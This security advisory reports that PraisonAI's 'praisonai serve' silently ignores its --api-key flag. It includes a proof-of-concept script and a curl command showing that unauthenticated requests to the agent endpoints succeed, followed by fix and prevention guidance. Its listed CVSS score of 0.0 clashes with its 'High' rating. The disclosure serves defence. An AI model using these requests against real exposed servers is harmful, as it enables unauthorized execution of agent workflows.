GHSA-pvxx-r596-f5qj CVE-2026-55541 PYSEC-2026-3893
PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.48%
- Chance of exploitation in the next 30 days. Higher than 41.44% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-862 Missing Authorization
- Fix
4.6.58- Upgrade praisonai to this version or later
Description
Summary
praisonai serve agents and praisonai serve unified both accept --api-key for authentication. The flag is parsed but never wired into the FastAPI app — no middleware, no header check, nothing. The server runs wide open regardless of what key you set. Tested on 4.6.50 from PyPI.
Affected versions
- Confirmed on 4.6.50 (current PyPI, 2026-06-02)
- Likely since 4.6.34 when the serve subsystem shipped
- File:
src/praisonai/praisonai/cli/features/serve.py
What happens
The CLI defines --api-key in the arg spec (serve.py:199) and passes the parsed value into _create_agents_app(config). But that function never reads config["api_key"]. The FastAPI app gets created with no auth at all. Same thing in _create_unified_app.
The help text says --api-key <key> API key for authentication, so this isn't ambiguous — it's supposed to protect the server. It just doesn't.
$ grep -n "api_key" src/praisonai/praisonai/cli/features/serve.py
107: --api-key <key> API key for authentication
199: "api_key": {"default": None},
847: "api_key": {"default": None},
Endpoints exposed without auth
POST /agents— runs the full agent workflowPOST /agents/{name}— invokes a specific agentPOST /api/v1/agents/{id}/invoke— n8n integration endpointGET /— lists all endpointsGET /__praisonai__/discovery— service discovery
Not the same as CVE-2026-44338
CVE-2026-44338 was about the legacy deploy/api.py hardcoding AUTH_ENABLED = False. That was fixed in 4.6.34. This bug is in the newer serve subsystem that shipped in the same release — the --api-key flag exists but was never connected to anything.
PoC
Setup
python3 -m venv /tmp/poc-venv
/tmp/poc-venv/bin/pip install praisonai==4.6.50 fastapi starlette httpx pyyaml
Script
import sys, types, tempfile, os
# Stub heavy deps so we only test the serve auth logic
for m in ["praisonai.endpoints.discovery", "praisonai.endpoints.server",
"praisonai.api", "praisonai.api.agent_invoke",
"praisonai.agents_generator", "praisonai.inc"]:
sys.modules[m] = types.ModuleType(m)
disc = sys.modules["praisonai.endpoints.discovery"]
class Fake:
def __init__(self, **k): pass
def add_provider(self, *a, **k): pass
def add_endpoint(self, *a, **k): pass
def to_dict(self): return {}
disc.create_discovery_document = lambda **k: Fake()
disc.EndpointInfo = Fake
disc.ProviderInfo = Fake
sys.modules["praisonai.endpoints.server"].add_discovery_routes = lambda a,b: None
sys.modules["praisonai.api.agent_invoke"].FASTAPI_AVAILABLE = False
class FakeGen:
def __init__(self, **k): pass
def generate_crew_and_kickoff(self):
return {"executed": True, "result": "workflow ran"}
sys.modules["praisonai.agents_generator"].AgentsGenerator = FakeGen
class FakeLLM:
def to_dict(self): return {}
sys.modules["praisonai.inc"].LLMConfig = FakeLLM
f = tempfile.NamedTemporaryFile(mode="w", suffix=".yaml", delete=False)
f.write("name: T\nagents:\n a:\n name: A\n role: R\n goal: G\n backstory: B\n")
f.flush()
from praisonai.cli.features.serve import ServeHandler
app = ServeHandler()._create_agents_app({
"file": f.name, "host": "0.0.0.0", "port": 8000,
"path": "/agents", "reload": False,
"api_key": "supersecret", # <-- should protect the server
})
from starlette.testclient import TestClient
c = TestClient(app)
r1 = c.post("/agents", json={"query": "run"})
r2 = c.post("/agents", json={"query": "run"},
headers={"Authorization": "Bearer TOTALLY_WRONG"})
print(f"No auth header → {r1.status_code}") # 200
print(f"Wrong key → {r2.status_code}") # 200
os.unlink(f.name)
Output
No auth header → 200
Wrong key → 200
Both succeed. The key is ignored.
Live server test
# start server with --api-key
praisonai serve agents --api-key supersecret --host 0.0.0.0 --port 9999
# hit it without any auth
curl -s -X POST http://localhost:9999/agents \
-H "Content-Type: application/json" \
-d '{"query":"run all agents"}'
# → 200, workflow executes
Impact
Anyone who can reach the server can trigger agent workflows without credentials. The operator set --api-key and got no error, so they think it's protected.
What an attacker gets depends on what the agents.yaml workflow can do — LLM calls, tool use, file access, code execution, web requests. At minimum it's unauthenticated API quota burn.
Fix
_create_agents_app() and _create_unified_app() need to actually read config["api_key"] and add a FastAPI dependency that checks the Authorization: Bearer header. When binding to a non-loopback address without --api-key, the server should warn or refuse to start.
References
- CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj (prior auth bypass, different component)
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| praisonai | < 4.6.58 |
4.6.58 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
praisonai PyPI → 4.6.58
- pip
pip install --upgrade "praisonai>=4.6.58"- poetry
poetry add "praisonai>=4.6.58"- uv
uv add "praisonai>=4.6.58"
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- Low
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
Weakness
CWE-862: Missing Authorization
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-26mh-57q7-jfvr PraisonAI vulnerable to Remote Code Execution via Broken AST Sandbox | High | Also affects praisonai |
| GHSA-6g6r-q6gw-w8fg PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92) | Critical | Also affects praisonai |
| GHSA-pvph-5j39-v8qc PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server | High | Also affects praisonai |
| GHSA-gfq8-hmph-9gjv PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret | High | Also affects praisonai |
| GHSA-2jgc-f764-c5r2 PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete | High | Also affects praisonai |
| GHSA-hmfx-4v44-9qw9 PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass in webhook_url validation | Medium | Also affects praisonai |
| GHSA-rg5q-pp8p-f7jm PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114 | High | Also affects praisonai |
| GHSA-r7v3-x45f-g7hp PraisonAI: [Auth Bypass] `praisonai serve agents --api-key` is silently ignored — agent-invocation routes (`POST /agents`, `POST /agents/{agent_name}`) run unauthenticated | High | Also affects praisonai |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor